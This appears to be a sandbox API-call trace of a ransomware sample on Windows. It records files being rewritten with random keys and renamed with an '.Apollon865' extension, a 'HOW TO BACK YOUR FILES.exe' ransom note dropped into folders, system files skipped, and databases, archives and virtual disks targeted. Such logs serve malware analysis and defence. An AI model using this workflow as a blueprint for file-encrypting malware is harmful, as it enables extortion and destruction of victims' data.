	[0075.202] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9270, lpName=0x0) returned 0xd8
	[0075.210] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9270) returned 0x100000
	[0075.212] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.213] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.213] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0075.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0075.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.214] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.214] CloseHandle (hObject=0xd8) returned 1
	[0075.214] CloseHandle (hObject=0x150) returned 1
	[0075.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0075.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0075.215] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1
	[0075.215] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.Apollon865") returned 78
	[0075.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.apollon865"), dwFlags=0x1) returned 1
	[0075.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0075.216] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=57248) returned 1
	[0075.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0075.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0075.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.217] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.217] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.217] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.217] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe2a0, lpName=0x0) returned 0xd8
	[0075.219] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe2a0) returned 0x100000
	[0075.222] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.223] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.223] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0075.223] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0075.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.223] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.224] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.224] CloseHandle (hObject=0xd8) returned 1
	[0075.224] CloseHandle (hObject=0x150) returned 1
	[0075.225] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0075.225] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.Apollon865") returned 78
	[0075.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.apollon865"), dwFlags=0x1) returned 1
	[0075.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0075.226] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=196976) returned 1
	[0075.226] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0075.226] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0075.226] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.226] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.227] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.227] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.228] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30470, lpName=0x0) returned 0xd8
	[0075.229] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30470) returned 0x120000
	[0075.240] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.241] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.241] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.241] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0075.244] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.Apollon865") returned 78
	[0075.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.apollon865"), dwFlags=0x1) returned 1
	[0075.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0075.246] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=289648) returned 1
	[0075.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0075.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0075.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.246] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.247] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.247] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.247] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46e70, lpName=0x0) returned 0xd8
	[0075.248] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46e70) returned 0x210000
	[0075.272] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.273] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.273] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0075.277] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0
	[0075.277] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.277] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0075.277] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US"
	[0075.277] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US"
	[0075.277] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.282] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x44f13e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44f13e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.282] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.282] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.282] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.282] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x44f13e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44f13e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.282] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.282] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.282] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.282] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.282] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44f13e50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44f13e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.282] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.282] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44f13e50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44f13e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0075.283] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.283] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0075.283] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery"
	[0075.283] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery"
	[0075.283] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.283] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.291] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44f39fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44f39fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.291] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.291] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.291] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.291] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x44f39fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44f39fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.291] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.291] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.291] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.291] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.291] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0075.291] lstrcmpiW (lpString1="Bears.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="Apollon865.txt.exe") returned 1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2=".") returned 1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="..") returned 1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="windows") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="bootmgr") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="temp") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="pagefile.sys") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="boot") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="ids.txt") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="ntuser.dat") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="perflogs") returned -1
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2="MSBuild") returned -1
	[0075.292] lstrlenW (lpString="Bears.htm") returned 9
	[0075.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*") returned 59
	[0075.292] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Bears.htm" | out: lpString1="Bears.htm") returned="Bears.htm"
	[0075.292] lstrlenW (lpString="Bears.htm") returned 9
	[0075.292] lstrlenW (lpString="Apollon865") returned 10
	[0075.292] lstrlenW (lpString=".dll") returned 4
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2=".dll") returned 1
	[0075.292] lstrlenW (lpString=".lnk") returned 4
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2=".lnk") returned 1
	[0075.292] lstrlenW (lpString=".ini") returned 4
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2=".ini") returned 1
	[0075.292] lstrlenW (lpString=".sys") returned 4
	[0075.292] lstrcmpiW (lpString1="Bears.htm", lpString2=".sys") returned 1
	[0075.292] lstrlenW (lpString="Bears.htm") returned 9
	[0075.292] lstrlenW (lpString="bak") returned 3
	[0075.292] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0075.292] lstrlenW (lpString="ba_") returned 3
	[0075.292] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0075.292] lstrlenW (lpString="dbb") returned 3
	[0075.292] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0075.292] lstrlenW (lpString="vmdk") returned 4
	[0075.292] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0075.292] lstrlenW (lpString="rar") returned 3
	[0075.292] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0075.293] lstrlenW (lpString="zip") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0075.293] lstrlenW (lpString="tgz") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0075.293] lstrlenW (lpString="vbox") returned 4
	[0075.293] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0075.293] lstrlenW (lpString="vdi") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0075.293] lstrlenW (lpString="vhd") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0075.293] lstrlenW (lpString="vhdx") returned 4
	[0075.293] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0075.293] lstrlenW (lpString="avhd") returned 4
	[0075.293] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0075.293] lstrlenW (lpString="db") returned 2
	[0075.293] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0075.293] lstrlenW (lpString="db2") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0075.293] lstrlenW (lpString="db3") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0075.293] lstrlenW (lpString="dbf") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0075.293] lstrlenW (lpString="mdf") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0075.293] lstrlenW (lpString="mdb") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0075.293] lstrlenW (lpString="sql") returned 3
	[0075.293] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0075.293] lstrlenW (lpString="sqlite") returned 6
	[0075.293] lstrcmpiW (lpString1="rs.htm", lpString2="sqlite") returned -1
	[0075.293] lstrlenW (lpString="sqlite3") returned 7
	[0075.293] lstrcmpiW (lpString1="ars.htm", lpString2="sqlite3") returned -1
	[0075.293] lstrlenW (lpString="sqlitedb") returned 8
	[0075.293] lstrcmpiW (lpString1="ears.htm", lpString2="sqlitedb") returned -1
	[0075.293] lstrlenW (lpString="xml") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0075.294] lstrlenW (lpString="$er") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0075.294] lstrlenW (lpString="4dd") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0075.294] lstrlenW (lpString="4dl") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0075.294] lstrlenW (lpString="^^^") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0075.294] lstrlenW (lpString="abs") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0075.294] lstrlenW (lpString="abx") returned 3
	[0075.294] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0075.294] lstrlenW (lpString="accdb") returned 5
	[0075.294] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1
	[0075.294] lstrlenW (lpString="accdc") returned 5
	[0075.294] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1
	[0075.294] lstrlenW (lpString="accde") returned 5
	[0075.294] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1
	[0075.294] lstrlenW (lpString="accdr") returned 5
	[0075.294] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1
	[0075.294] lstrlenW (lpString="accdt") returned 5
	[0075.294] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1
